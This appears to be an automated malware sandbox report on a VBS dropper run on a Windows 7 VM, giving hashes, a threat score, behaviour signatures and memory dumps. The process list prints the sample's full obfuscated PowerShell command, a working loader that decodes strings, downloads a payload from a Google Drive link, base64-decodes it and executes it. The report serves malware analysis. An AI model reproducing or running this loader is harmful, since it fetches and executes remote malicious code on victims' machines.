Analysis

  • max time kernel
    149s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    07/11/2024, 02:46

General

  • Target

    88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6.vbs

  • Size

    15KB

  • MD5

    5ad52d64a21f10ad755ec87891cb0ee4

  • SHA1

    1ddc7de7db46b2a959d2725a82303eeffe6caa16

  • SHA256

    88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6

  • SHA512

    84eedc76b14fa268adc52cb751a15b673660af8378dd62bbe2b8ef9e1f96416e489b09420822423ab506034c86dd71bde664cfe1a61823f2b858ee58eb4081c8

  • SSDEEP

    384:tb396jHpB+hxGJwWJWkyRZxZJQvPkFtGSqUsvVNccDqa:tNgIAJ/8nvxLQXszaV9Dqa

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\88697793e59cba6174bc6fe0418855032b73c8aa8f37aa522f75b12b60294cb6.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Rollway Albummerne Sydende Cutters Circumferentor Uvanligst #>;$Acanthuthi='Draabetllers';<#Nicotianin Prygl Pterygopharyngeal urnehaller Poove Regneudtrykkenes Pfunde #>; function Instanter($Flehornenes){If ($host.DebuggerEnabled) {$Promos++;}$Positionerendes=$Leucocytoplania+$Flehornenes.'Length' - $Promos; for ( $Personalekompensationens=4;$Personalekompensationens -lt $Positionerendes;$Personalekompensationens+=5){$reumatologiske=$Personalekompensationens;$Ennuis+=$Flehornenes[$Personalekompensationens];}$Ennuis;}function Rekommandrerne21($Nasomalar){ . ($Sdmefyldt) ($Nasomalar);}$Harassments=Instanter ' P.rMTrumo AdvzKak iK lolBrugl B,raRese/Fami ';$prosecution=Instanter 'CommTBoe.lAamusSneg1brak2bibl ';$Chairmanning='Prop[MorenRys.E UnptD.ej.Da tsEnkeEFru R .akvS abiFascCDefeEPallPcollOSoluI A rNCo fT.uplmDealaLotiN EscAOverg mie U crindp]Svam:ib u:KullsindeEInveC OrnUB ndR RibiS,ort steyTetrP Di R .onOLindt steOEnhecPre oBa kLmlle= Flg$Wa,ePSloarD stoReedS In.E HencStatUUnbrTnadaIB.ldOPreeNVkst ';$Harassments+=Instanter 'Bagl5 Klb.Recr0Kana U cl(FirnWMedii aken S rd VaroCa.dw B,rsKur MarkN de.TDoms Ven1Fe,i0Unde. Byg0 Di.;Ears S ivWner iOp lnT,kt6Fa,t4 rus;Re o TvisxThr,6 Pe,4Nyde;Esch B adrHepavcons:Sfol1Stag3Sort1Und,.Skrv0Omsi)End, U.flGRegie No.c Od,kVannoDign/G.rs2Seri0Likv1Flak0Trav0 iga1A sk0Fors1Prog SettFSko ichi rPerse RenfFac o W.lx Adi/ Ryo1 Slu3 R.f1Crem.By a0Pae, ';$Planlses=Instanter 'Be.ouTetaS S aEturbrNone-,arsABlinG RudeMithNId ot fec ';$Rubberneck=Instanter 'Th ohM,sst JultEnump ntesTr m: Hor/Ps u/Galod tarrAttriluthvdanne Imp. StegTomgoSporoProagLau lvat,eman .UnlicDds oNonemChau/ FrauMe.ocIcon?pi ceIodixUkrlpbo loTi,mr plit Out=LuftdDehooDadewTizznFutilMos oCoataV,bgdKonk&ProtiPo kdRetu=A ve1Swig6 .urvObsegfil 1StryFeneraFlat-ThroIPrevgUndep Ma GVagexbrutfTalePPantaKorsUFr ghP opO UnczFemt6 Un OstttLIndeq nc8StudVFrasQflgewStar4Hv.dgOverB rgt StasLekt ';$Bekmpelsesforanstaltnings=Instanter 'Faci>Flo ';$Sdmefyldt=Instanter 'PrinI NabEIndax.rem ';$Skobrstning='Lnestolenes';$Ukvemsordene='\Jokingly.Nor';Rekommandrerne21 (Instanter 'omst$ elhGJordLOp rO NedB,ncoABe uL Sa :ImplnRimeyAffif ismD Kertko.meSkov=An e$ vereTilgnIm,iVAnti:ExprAProwPAutoPorand.rbeA redTsponAThor+Busk$ Sa,uProiKIn uvNon e nomM nyesJetmo FugrA,urdBylrEP odNDromeNurs ');Rekommandrerne21 (Instanter ' Tin$Arbog hotlMod.OSpo,B SrgATv.tLElec: AkrDSimaIgesjsMiliL.veroTranCNgleAFal,T seeG.tedFarvl .rcYOutw= nde$AlfaRBlinUCirkBAasybEuxaE elsrSadlNDestEReviCUdkoKNeso.GyroS StepTh.wlKhusI RasT Sub( gg $CucubKommEOec K ProM R lP T.pEKrilL RensWindeFy.iSSulffRes O odurMat A hixn FraSClictMoriaLinjl ndetJuranTvani Tacn IndgEndoSHapt)Frit ');Rekommandrerne21 (Instanter $Chairmanning);$Rubberneck=$Dislocatedly[0];$Underbelly=(Instanter 'Grif$RaasgReprLPre O ,nhBTostAMexiLschn:Uafhn rio AnsNDrosrMegaE npeCOmgrTslumAMarxnHuskg,eleUStralAbysACig,RMakrLprojY Bss=IndeNManieArbeW Lov-MastoD vibSocijsableHandCGluctSama DeposAfk yC ndS BastSavkE FlaMCens.GoutNUa teWil tMoo,.,dvoW AlfesammB,ydlcKipplRedeI Tele AdjnCir,tForr ');Rekommandrerne21 ($Underbelly);Rekommandrerne21 (Instanter '.dop$Fea NFamio FornBlgerSpoie ForcScr tDmpea B lnFinagAboru ,osldrivaCytorSlaglBranyBesn.SelaHMonae VakaUnfad ereGennr HaasO gr[Perv$TrowPTyk,lJubbaM ssnPutllTriasUnweeBerosunbr]Zool=Auta$PrecH Fl aBallr Bo.aDif sUfresFi km.edseHjhlnAscitBarssSmoo ');$forretningsmanden=Instanter 'Aer.$ sewNShoroAccenAfsvr AkteGorgcRegnt Misa,ichns.ingcreeu GlalParda FasrSel.lBiedy Dep. ysDAcrooSlbnwSe inRatll HonoDataaTrykdBogeF U si Hovl V gePaak(Ri g$UdsmR,ermuMonob etabInveeShafrFel.nUncienorscitalkMagn, Ydu$FlkkD FodiTeatb Rh rPle.aProdnS emcYndlh.cteiHum,aImm )Dagb ';$Dibranchia=$Nyfdte;Rekommandrerne21 (Instanter 'Oile$ pumGChivL AnmOVi.dBDokbaTilbLVest:PariS em.KL,mbOBearL eceeStargPondARediA,iljr Gl dPr,gESc p2Fort2Inst=ra,k(bagltFejlE Eu s MulT Co - B.spPishaDresTknalHl,ev miry$ProdDSurrI vstBKa hrRecoAUnr N proCAk,iHRekoiCholaGypt)Hals ');while (!$Skolegaarde22) {Rekommandrerne21 (Instanter 'Un u$InfagRetalBra.oTandb DataYensls,ec: AdrDOrigiRemigMurmtSlumnRompi T inKri gScru=Gamb$KendtUnstrZygauRealeSk v ') ;Rekommandrerne21 $forretningsmanden;Rekommandrerne21 (Instanter 'ConvsSwamt PlaaRe aRRyo tVenn-Kas.s ,ytL Mo.EBambe T lP ch Sel4Me s ');Rekommandrerne21 (Instanter 'Opgi$FellgLev.L a sO SahBSlacaCit lBurg:B ars MelK GuloMorpLA alEboweGMellACanaaUdv.RCutiDThyreDung2Dkvi2Pres=,lan(YndeTMarceVandSiagtTEisi-SiklPReada OrktLethhNoni Pars$BrevDFjeditigebLansr VinAPjatnBer cForsH,lodiDokuAPi,p)stau ') ;Rekommandrerne21 (Instanter 'Tr,n$SkatGGd,iLIs.coCerebEndeaBakeLThe : Be fPikea lacrFitzV elvE wiFUnoiO ,kaTkvaroDentgBicorFor afe tfAba,ISlamEKaalt Ov,sdyb = id$ Stug imeLAnbeoSubsbRdstA gaalMa f:Prakub.flNAshiD Proe Ponr krBFor,eBauxL EndL dstiS riETi,sSTone3D co9Skim+Sch +Smkk%Pyri$NondDCytoIina SSubbL ystoT rvCOr,ra oinT TjrE isudDea.LAfgrySugn.FiliC Ci.OSquiu.ervnTy atV,dj ') ;$Rubberneck=$Dislocatedly[$Farvefotografiets];}$Prescientific=268629;$Bowleren=31429;Rekommandrerne21 (Instanter 'flyt$ StrGRatiLTrs OBoogBForsAGausL luc:SweeTBa dp g,nPShoaE ZirMAnapnHighDBrouESe in SmoESkom ,lut= les FiligTillESejlTMo l-ChopcNi.nO SluNDomaTStatEOverNAtomtFors Kast$MothdOmk iK nsb isuRTilhAFirsnEffeCUntaHBuckIUndeaTrem ');Rekommandrerne21 (Instanter ' Gag$NeurgVrdilEtypoGulab S.maUdvilD ge:T,anINon msaripNyloaprofsEkspsInd iPil,bAstelpiskeGalh .emm=Omri Fis[Pep SFartyclyps CagtpareeSvejm hry.BrndCSyddoDa.rnAimfv O ne Kirr AnttCer ]Nyor:Ra e:DecoFStarrU seoLysnmLepoBbr laFlngsRaideKal 6Hous4Re rSKabetVe urDisciSw gn no,gKrak(Pet $ uitTTickpLy vpForeeCen mA.unn PoldMispeEct,nMi deTeg.)Liga ');Rekommandrerne21 (Instanter 'U pr$KlynGFuseLEnfeoOs mBSy caP eul Ha :Breds B cUUnvotk rns raakOddfOStea Lok =Pant C,ty[BetrS forYFlyvS BenTTildeO,erMVilj. UnptM dteObl.XDiv TPsi .Me gE UndnSupeCR,gnOCodedMedvI GigNExpagu vi].urs: un: psiaR fls Upbc Hepi,lasiJazz.S,raG InveMerct IndSForsTTehurKorsIBisaNImmaGAn.b( Vid$ScaliRustmGospP.leaaOpatsKontsBambitangbUminlThunE St,)Nonc ');Rekommandrerne21 (Instanter 'Un.u$TrucGUns lPuncODamsB.aalaLi,hlPoly:Be eC,iskeVdesn Ou t SkaR onrI rocFContu aspGNondEHaem=Schl$UddisA tiU .amT AsysS anKBnkeoPrem..ylosDepuUBranBSndeSRaakT An RHoloIst kn BoyGOmrr(Booz$ maaPRemaRProveMa sS ExtC PreI VogE IrrN .reTRes I UnifD taiPhotcOutf,u,re$VisiBAntio MerwMelalslagE Ge R LokEDan nRoun) Pa, ');Rekommandrerne21 $Centrifuge;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab2CEC.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/2668-20-0x000007FEF5BAE000-0x000007FEF5BAF000-memory.dmp

    Filesize

    4KB

  • memory/2668-21-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2668-24-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-23-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

    Filesize

    32KB

  • memory/2668-25-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-22-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-26-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-27-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-28-0x000007FEF5BAE000-0x000007FEF5BAF000-memory.dmp

    Filesize

    4KB

  • memory/2668-29-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-30-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-31-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2668-32-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB